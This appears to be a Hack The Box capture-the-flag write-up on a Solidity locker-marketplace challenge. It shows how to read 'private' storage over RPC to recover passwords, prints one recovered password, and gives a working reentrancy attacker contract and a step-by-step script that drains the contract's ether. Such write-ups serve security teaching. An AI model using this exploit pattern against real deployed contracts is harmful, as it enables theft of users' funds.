$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: analyze a Solidity locker marketplace that stores usernames, passwords, and items on-chain. Solution: recover private data directly from storage, steal the Mythic item, and use reentrancy in sellItem() to sell it twice and drain 2 ether.
The challenge combined two classic Solidity mistakes: trusting private storage for secrets and performing an external payment before internal state cleanup. By reading storage directly from the RPC endpoint, I recovered item owners and their passwords, transferred the only Mythic item to an attacker-controlled contract, and reentered sellItem() to sell the same item twice. That drained the full 2 ether from Lockers, making Setup.isSolved() return true.
Organizer description was not preserved in the local task notes.
The remote instance exposed /connection_info and /rpc. The goal was to satisfy Setup.isSolved(), which checks whether address(TARGET).balance == 0.
The important pricing detail was that price[Rarity.Mythic] = 1 ether, so selling the same Mythic item twice is enough to empty the contract.
private is readableIn Solidity, private only prevents other contracts from accessing a variable through Solidity's type system. It does not encrypt or hide storage. Any RPC user can call eth_getStorageAt and read raw storage slots.
Two layouts mattered here:
items is a dynamic array at slot 3
3 stores the array lengthkeccak256(3)Item occupies 3 slots:
nameownerraritySo item i starts at:
base = keccak256(3) item_i = base + i * 3
users is mapping(string => string) at slot 0
For a username key, the value slot is derived from the mapping base slot:
user_slot = keccak256(bytes(username) || pad32(0))
Because the values were plain strings, the stored passwords could be reconstructed from chain storage exactly like any other on-chain string.
Minimal recovery logic:
count = u256(get_storage(target, 3)) base = keccak256(slot_32(3)) for i in range(count): start = base + i * 3 name = decode_storage_string(target, start) owner = decode_storage_string(target, start + 1) rarity = u256(get_storage(target, start + 2)) pw_slot = keccak256(owner.encode() + slot_32(0)) password = decode_storage_string(target, pw_slot)
Using that method against the remote instance recovered several items, including the only Mythic item:
WizardsScepterbeliefspacess4#Nq7nNyKMfZ=XESnOzP2hk:SSRCzo2QPk4w~~sellItem()The sale path sent ether to the seller's wallet before deleting the item entry. That means control was handed to an external address while the item still existed and was still owned by the attacker.
Conceptually, the bug looked like this:
function sellItem(string memory name, string memory password) external { Item memory item = findItem(name, password); address payable seller = payable(usernameToWallet[item.owner]); uint256 amount = price[item.rarity]; seller.call{value: amount}(""); // external interaction first delete items[index]; // state update too late }
Because usernameToWallet[attackerUser] could be set to an attacker contract, the fallback receive() function could immediately call sellItem() again before delete items[index] executed. With a Mythic item priced at 1 ether and a funded balance of 2 ether, one reentrant sale was enough to drain everything.
/connection_info/rpc endpoint to query storage and send transactionsI parsed the target's storage directly:
3keccak256(3) + i * 3keccak256(bytes(username) || pad32(0))This revealed that beliefspace owned the Mythic item WizardsScepter and exposed the owner's password.
The attacker contract stored:
Core logic:
contract Drain { ILockers target; string attackerUser; string attackerPassword; string itemName; bool attacking; function register() external { target.getLocker(attackerUser, attackerPassword); } function prepare(string calldata _itemName, string calldata victimPassword) external { itemName = _itemName; target.transferItem(_itemName, attackerUser, victimPassword); } function attack() external { attacking = true; target.sellItem(itemName, attackerPassword); attacking = false; } receive() external payable { if (attacking && address(target).balance >= 1 ether) { target.sellItem(itemName, attackerPassword); } } }
This step was important because getLocker() binds the username to msg.sender. Calling it from the attacker contract ensured:
usernameToWallet[attackerUser] = Drain_contract_address
That made the payout during sellItem() land in the contract, which enabled reentrancy through receive().
With the recovered victim password, I transferred the valuable item to the attacker username:
drain.register() drain.prepare("WizardsScepter", victim_password)
Under the hood, this called:
target.transferItem("WizardsScepter", attackerUser, victimPassword);
Then I triggered the attack:
drain.attack()
Execution flow:
attack() calls sellItem(itemName, attackerPassword)Lockers sends 1 ether to the attacker contractreceive() fires before delete items[index]receive() reenters sellItem() for the same WizardsScepter0, so Setup.isSolved() returns trueAfter the contract was drained, the instance was solved and /flag returned the challenge flag.
# 1. Read storage and recover victim credentials items = read_items(target) victim_password = recover_password("beliefspace") # 2. Deploy Drain(target, attacker_user, attacker_password) drain = deploy_drain(target, attacker_user, attacker_password) # 3. Register locker from the contract itself drain.register() # 4. Move Mythic item to attacker-controlled username drain.prepare("WizardsScepter", victim_password) # 5. Reenter sellItem() and drain 2 ether total drain.attack() # 6. Confirm solve state and request the flag assert setup.isSolved()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar